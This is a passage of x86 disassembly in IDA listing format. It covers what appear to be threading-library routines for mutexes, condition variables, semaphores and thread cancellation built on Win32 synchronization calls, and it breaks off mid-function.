
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_214		= dword	ptr -214h
arg_0		= dword	ptr  4

		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D4h+arg_0]
		push	0
		push	esi
		call	sub_13ABB58
		add	esp, 8
		mov	[esp+2D4h+var_2D0], eax
		test	eax, eax
		jnz	loc_13D9809
		call	sub_13AB6E4
		test	eax, eax
		jnz	short loc_13D970B
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_13D970B:				; CODE XREF: sub_13D96D0+2Cj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_13ABE50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_13AC625
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_13D97E2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_13D97E2
		cmp	[esi+0Ch], ebp
		jge	loc_13D97F5
		test	edi, edi
		jz	short loc_13D9774
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_13AB4C3
		push	2
		call	sub_13AC1D4
		mov	eax, [esp+2E8h+var_2D0]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_13D9774:				; CODE XREF: sub_13D96D0+79j
		mov	edi, [esi+4]
		push	edi
		call	SuspendThread	; SuspendThread
		push	0
		push	edi
		call	WaitForSingleObject	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_13D9802
		lea	eax, [esp+2E0h+var_2CC]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	[esp+2E8h+var_2CC], 10001h
		call	GetThreadContext	; GetThreadContext
		lea	ecx, [esp+2E0h+var_2CC]
		mov	[esp+2E0h+var_214], offset dword_42F480
		push	ecx
		push	edi
		call	SetThreadContext	; SetThreadContext
		push	ebx
		call	sub_13AB4C3
		add	esp, 4
		push	edi
		call	ResumeThread	; ResumeThread
		mov	eax, [esp+2E0h+var_2D0]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_13D97E2:				; CODE XREF: sub_13D96D0+5Dj
					; sub_13D96D0+68j
		cmp	[esi+0Ch], ebp
		jge	short loc_13D97F5
		mov	edx, [esi+38h]
		push	edx
		call	SetEvent	; SetEvent
		test	eax, eax
		jnz	short loc_13D97F9


loc_13D97F5:				; CODE XREF: sub_13D96D0+71j
					; sub_13D96D0+115j
		mov	[esp+2E0h+var_2D0], ebp


loc_13D97F9:				; CODE XREF: sub_13D96D0+123j
		push	ebx
		call	sub_13AB4C3
		add	esp, 4


loc_13D9802:				; CODE XREF: sub_13D96D0+BCj
		mov	eax, [esp+2E0h+var_2D0]
		pop	edi
		pop	ebp
		pop	ebx


loc_13D9809:				; CODE XREF: sub_13D96D0+1Fj
		pop	esi
		add	esp, 2D0h
		retn
sub_13D96D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------
		push	2
		call	sub_13AC1D4
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D98A0	proc near		; CODE XREF: sub_13AB522j

arg_0		= dword	ptr  4

		mov	eax, ds:dword_102C594
		push	esi
		push	eax
		call	sub_13AB590
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_13D98DE
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_13D98CC
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_13D98CC
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_13D98CC:				; CODE XREF: sub_13D98A0+1Bj
					; sub_13D98A0+21j
		mov	edx, [esi+8]
		mov	eax, ds:dword_102C594
		push	edx
		push	eax
		call	sub_13AC4DB
		add	esp, 8


loc_13D98DE:				; CODE XREF: sub_13D98A0+13j
		mov	eax, esi
		pop	esi
		retn
sub_13D98A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9910	proc near		; CODE XREF: sub_13ABA59j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, ds:dword_102C594
		push	edx
		call	sub_13AB590
		mov	[esi+8], eax
		mov	eax, ds:dword_102C594
		push	esi
		push	eax
		call	sub_13AC4DB
		add	esp, 0Ch
		pop	esi
		retn
sub_13D9910	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9960	proc near		; CODE XREF: sub_13ABF4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_102CAE0
		xor	esi, esi
		call	EnterCriticalSection
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D9994
		push	esi
		push	ecx
		call	sub_13AB941
		add	esp, 8
		mov	esi, eax
		push	offset dword_102CAE0
		call	LeaveCriticalSection
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9994:				; CODE XREF: sub_13D9960+17j
		test	eax, eax
		jnz	short loc_13D999D
		mov	esi, 16h


loc_13D999D:				; CODE XREF: sub_13D9960+36j
		push	offset dword_102CAE0
		call	LeaveCriticalSection
		mov	eax, esi
		pop	esi
		retn
sub_13D9960	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D99D0	proc near		; CODE XREF: sub_13AC4FEj

arg_0		= dword	ptr  4

		push	esi
		push	4
		push	1
		xor	esi, esi
		call	calloc	; calloc
		add	esp, 8
		test	eax, eax
		jnz	short loc_13D99F3
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_13D99F3:				; CODE XREF: sub_13D99D0+12j
		mov	ecx, [esp+4+arg_0]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_13D99D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9A10	proc near		; CODE XREF: sub_13AC5D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_13D9A33
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_13D9A33
		push	eax
		call	free	; free
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9A33:				; CODE XREF: sub_13D9A10+7j
					; sub_13D9A10+Dj
		mov	eax, 16h
		pop	esi
		retn
sub_13D9A10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9A50	proc near		; CODE XREF: sub_13AB405j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_13D9A6D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_13D9A6D
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jz	short loc_13D9A6D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_13D9A6D:				; CODE XREF: sub_13D9A50+6j
					; sub_13D9A50+Cj ...
		mov	eax, 16h
		retn
sub_13D9A50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9A90	proc near		; CODE XREF: sub_13AB6ADj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_13D9ABA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_13D9ABA
		mov	eax, [esp+arg_4]
		cmp	eax, 1
		jz	short loc_13D9AAE
		test	eax, eax
		jnz	short loc_13D9ABA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_13D9AAE:				; CODE XREF: sub_13D9A90+15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_13D9ABA:				; CODE XREF: sub_13D9A90+6j
					; sub_13D9A90+Cj ...
		mov	eax, 16h
		retn
sub_13D9A90	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9AD0	proc near		; CODE XREF: sub_13AB941j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_13D9AE6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9AE6:				; CODE XREF: sub_13D9AD0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_13D9B0D
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_13D9B0D
		cmp	dword ptr [eax], 1
		jnz	short loc_13D9B0D
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9B0D:				; CODE XREF: sub_13D9AD0+1Ej
					; sub_13D9AD0+24j ...
		push	20h
		push	1
		call	calloc	; calloc
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_13D9B32
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9B32:				; CODE XREF: sub_13D9AD0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_13AC076
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_13D9B57
		call	_errno	; _errno
		mov	edi, [eax]
		jmp	short loc_13D9B9B
; ---------------------------------------------------------------------------


loc_13D9B57:				; CODE XREF: sub_13D9AD0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_13AC076
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_13D9B75
		call	_errno	; _errno
		mov	edi, [eax]
		jmp	short loc_13D9B92
; ---------------------------------------------------------------------------


loc_13D9B75:				; CODE XREF: sub_13D9AD0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_13AC599
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_13D9BFF
		push	ebx
		call	sub_13ABA86
		add	esp, 4


loc_13D9B92:				; CODE XREF: sub_13D9AD0+A3j
		push	ebp
		call	sub_13ABA86
		add	esp, 4


loc_13D9B9B:				; CODE XREF: sub_13D9AD0+85j
		push	esi
		call	free	; free
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_13D9BF2


loc_13D9BAB:				; CODE XREF: sub_13D9AD0+131j
		push	offset dword_102CB60
		call	EnterCriticalSection
		mov	dword ptr [esi+18h], 0
		mov	ecx, ds:dword_102C59C
		mov	[esi+1Ch], ecx
		mov	eax, ds:dword_102C59C
		test	eax, eax
		jz	short loc_13D9BD2
		mov	[eax+18h], esi


loc_13D9BD2:				; CODE XREF: sub_13D9AD0+FDj
		mov	eax, ds:dword_102C598
		mov	ds:dword_102C59C, esi
		test	eax, eax
		jnz	short loc_13D9BE7
		mov	ds:dword_102C598, esi


loc_13D9BE7:				; CODE XREF: sub_13D9AD0+10Fj
		push	offset dword_102CB60
		call	LeaveCriticalSection


loc_13D9BF2:				; CODE XREF: sub_13D9AD0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9BFF:				; CODE XREF: sub_13D9AD0+B7j
		xor	edi, edi
		jmp	short loc_13D9BAB
sub_13D9AD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9C60	proc near		; CODE XREF: sub_13ABE91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_13D9E0C
		mov	eax, [edi]
		test	eax, eax
		jz	loc_13D9E0C
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D9DC3
		push	offset dword_102CB60
		call	EnterCriticalSection
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_13AB441
		add	esp, 4
		test	eax, eax
		jz	short loc_13D9CB9
		call	_errno	; _errno
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13D9CB9:				; CODE XREF: sub_13D9C60+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_13ABB7B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_13D9CE0
		push	ebx
		call	sub_13AB43C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13D9CE0:				; CODE XREF: sub_13D9C60+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_13D9D19
		push	ebx
		call	sub_13AB43C
		add	esp, 4
		test	eax, eax
		jz	short loc_13D9D02
		call	_errno	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_13D9D02:				; CODE XREF: sub_13D9C60+94j
		push	ebp
		call	sub_13AB4C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_13D9DAE
; ---------------------------------------------------------------------------


loc_13D9D19:				; CODE XREF: sub_13D9C60+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_13ABA86
		mov	edi, _errno
		add	esp, 4
		test	eax, eax
		jz	short loc_13D9D3A
		call	edi ; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_13D9D3A:				; CODE XREF: sub_13D9C60+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_13ABA86
		add	esp, 4
		test	eax, eax
		jz	short loc_13D9D52
		call	edi ; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_13D9D52:				; CODE XREF: sub_13D9C60+E8j
		push	ebp
		call	sub_13AB4C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_13D9D6C
		push	ebp
		call	sub_13AC62F
		add	esp, 4
		mov	ebx, eax


loc_13D9D6C:				; CODE XREF: sub_13D9C60+FFj
		cmp	ds:dword_102C598, esi
		jnz	short loc_13D9D7F
		mov	edx, [esi+18h]
		mov	ds:dword_102C598, edx
		jmp	short loc_13D9D88
; ---------------------------------------------------------------------------


loc_13D9D7F:				; CODE XREF: sub_13D9C60+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_13D9D88:				; CODE XREF: sub_13D9C60+11Dj
		cmp	ds:dword_102C59C, esi
		jnz	short loc_13D9D9B
		mov	edx, [esi+1Ch]
		mov	ds:dword_102C59C, edx
		jmp	short loc_13D9DA4
; ---------------------------------------------------------------------------


loc_13D9D9B:				; CODE XREF: sub_13D9C60+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_13D9DA4:				; CODE XREF: sub_13D9C60+139j
		push	esi
		call	free	; free
		add	esp, 4


loc_13D9DAE:				; CODE XREF: sub_13D9C60+B4j
		push	offset dword_102CB60
		call	LeaveCriticalSection
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_13D9DF2
; ---------------------------------------------------------------------------


loc_13D9DC3:				; CODE XREF: sub_13D9C60+28j
		push	offset dword_102CAE0
		call	EnterCriticalSection
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_13D9DDB
		mov	dword ptr [edi], 0
		jmp	short loc_13D9DE7
; ---------------------------------------------------------------------------


loc_13D9DDB:				; CODE XREF: sub_13D9C60+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_13D9DE7:				; CODE XREF: sub_13D9C60+179j
		push	offset dword_102CAE0
		call	LeaveCriticalSection


loc_13D9DF2:				; CODE XREF: sub_13D9C60+161j
		test	esi, esi
		jz	short loc_13D9DFE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13D9DFE:				; CODE XREF: sub_13D9C60+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_13D9E11
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13D9E0C:				; CODE XREF: sub_13D9C60+15j
					; sub_13D9C60+1Fj
		mov	eax, 16h


loc_13D9E11:				; CODE XREF: sub_13D9C60+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_13D9C60	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9E90	proc near		; CODE XREF: sub_13AB603j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_13D9EC0
		add	esp, 0Ch
		retn
sub_13D9E90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9EC0	proc near		; CODE XREF: sub_13D9E90+Cp
					; sub_13DA190+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_13D9FC9
		mov	eax, [esi]
		test	eax, eax
		jz	loc_13D9FC9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D9F02
		push	esi
		call	sub_13ABF4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_13D9F02
		cmp	eax, 10h
		jnz	loc_13D9FCE


loc_13D9F02:				; CODE XREF: sub_13D9EC0+26j
					; sub_13D9EC0+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_13AB441
		add	esp, 4
		test	eax, eax
		jz	short loc_13D9F22
		call	_errno	; _errno
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_13D9F22:				; CODE XREF: sub_13D9EC0+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_13AB43C
		add	esp, 4
		test	eax, eax
		jz	short loc_13D9F42
		call	_errno	; _errno
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_13D9F42:				; CODE XREF: sub_13D9EC0+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset dword_42FC30
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_13ABA59
		push	edi
		call	sub_13AB4C3
		add	esp, 10h
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jnz	short loc_13D9FAA
		mov	eax, [esp+28h+arg_8]
		add	esi, 0Ch
		push	eax
		push	esi
		call	sub_13ABC98
		add	esp, 8
		test	eax, eax
		jz	short loc_13D9FA6
		call	_errno	; _errno
		mov	eax, [eax]
		mov	[esp+28h+var_20], eax
		jmp	short loc_13D9FAA
; ---------------------------------------------------------------------------


loc_13D9FA6:				; CODE XREF: sub_13D9EC0+D6j
		mov	eax, [esp+28h+var_20]


loc_13D9FAA:				; CODE XREF: sub_13D9EC0+C1j
					; sub_13D9EC0+E4j
		xor	ecx, ecx
		push	1
		test	eax, eax
		setz	cl
		mov	[esp+2Ch+var_4], ecx
		call	sub_13AB522
		mov	eax, [esp+2Ch+var_20]
		add	esp, 4
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_13D9FC9:				; CODE XREF: sub_13D9EC0+13j
					; sub_13D9EC0+1Dj
		mov	eax, 16h


loc_13D9FCE:				; CODE XREF: sub_13D9EC0+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_13D9EC0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA030	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+14h+arg_0], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_13AC625
		add	esp, 4
		test	eax, eax
		jz	short loc_13DA05B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13DA05B:				; CODE XREF: sub_13DA030+21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+14h+var_4], ebx
		jz	short loc_13DA06E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_13DA0D7
; ---------------------------------------------------------------------------


loc_13DA06E:				; CODE XREF: sub_13DA030+34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_13DA0D7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_13AB441
		add	esp, 4
		test	eax, eax
		jz	short loc_13DA0A2
		call	_errno	; _errno
		mov	edx, [esp+14h+arg_0]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13DA0A2:				; CODE XREF: sub_13DA030+5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_13AB43C
		add	esp, 4
		test	eax, eax
		jz	short loc_13DA0CC
		call	_errno	; _errno
		mov	edx, [esp+14h+arg_0]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13DA0CC:				; CODE XREF: sub_13DA030+86j
		mov	ebx, [esp+14h+var_4]
		mov	dword ptr [esi+4], 0


loc_13DA0D7:				; CODE XREF: sub_13DA030+3Cj
					; sub_13DA030+4Cj
		push	edi
		call	sub_13AB4C3
		add	esp, 4
		test	eax, eax
		jz	short loc_13DA0F0
		mov	ecx, [esp+14h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13DA0F0:				; CODE XREF: sub_13DA030+B2j
		cmp	ebx, 1
		jnz	short loc_13DA119
		add	esi, 10h
		push	esi
		call	sub_13AB43C
		add	esp, 4
		test	eax, eax
		jz	short loc_13DA119
		call	_errno	; _errno
		mov	edx, [eax]
		mov	eax, [esp+14h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13DA119:				; CODE XREF: sub_13DA030+C3j
					; sub_13DA030+D3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_13AC625
		add	esp, 4
		test	eax, eax
		jz	short loc_13DA12F
		mov	edx, [esp+14h+arg_0]
		mov	[edx], eax


loc_13DA12F:				; CODE XREF: sub_13DA030+F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_13DA030	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA190	proc near		; CODE XREF: sub_13AB5E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_13DA19E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_13DA19E:				; CODE XREF: sub_13DA190+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_13D9EC0
		add	esp, 0Ch
		retn
sub_13DA190	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA1D0	proc near		; CODE XREF: sub_13AC251j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13DA1F0
		add	esp, 8
		retn
sub_13DA1D0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DA1F0	proc near		; CODE XREF: sub_13DA1D0+7p
					; sub_13DA350+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_13DA2F4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_13DA2F4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_13DA214
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13DA214:				; CODE XREF: sub_13DA1F0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_13AC625
		add	esp, 4
		test	eax, eax
		jnz	loc_13DA2F9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_13DA264
		test	eax, eax
		jnz	short loc_13DA242


loc_13DA235:				; CODE XREF: sub_13DA1F0+77j
		push	ebx
		call	sub_13AB4C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13DA242:				; CODE XREF: sub_13DA1F0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_13DA259
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_13DA2C6
; ---------------------------------------------------------------------------


loc_13DA259:				; CODE XREF: sub_13DA1F0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_13DA2C3
; ---------------------------------------------------------------------------


loc_13DA264:				; CODE XREF: sub_13DA1F0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_13DA235
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_13AB441
		add	esp, 4
		test	eax, eax
		jz	short loc_13DA290
		call	_errno	; _errno
		mov	esi, [eax]
		push	ebx
		call	sub_13AB4C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13DA290:				; CODE XREF: sub_13DA1F0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_13DA2A4
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_13DA2A4:				; CODE XREF: sub_13DA1F0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_13DA2B9
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_13DA2C6
; ---------------------------------------------------------------------------


loc_13DA2B9:				; CODE XREF: sub_13DA1F0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_13DA2C3:				; CODE XREF: sub_13DA1F0+72j
		dec	eax
		mov	[esi], eax


loc_13DA2C6:				; CODE XREF: sub_13DA1F0+67j
					; sub_13DA1F0+C7j
		push	ebx
		call	sub_13AB4C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_13DA2EE
		add	esi, 0Ch
		push	edi
		push	esi
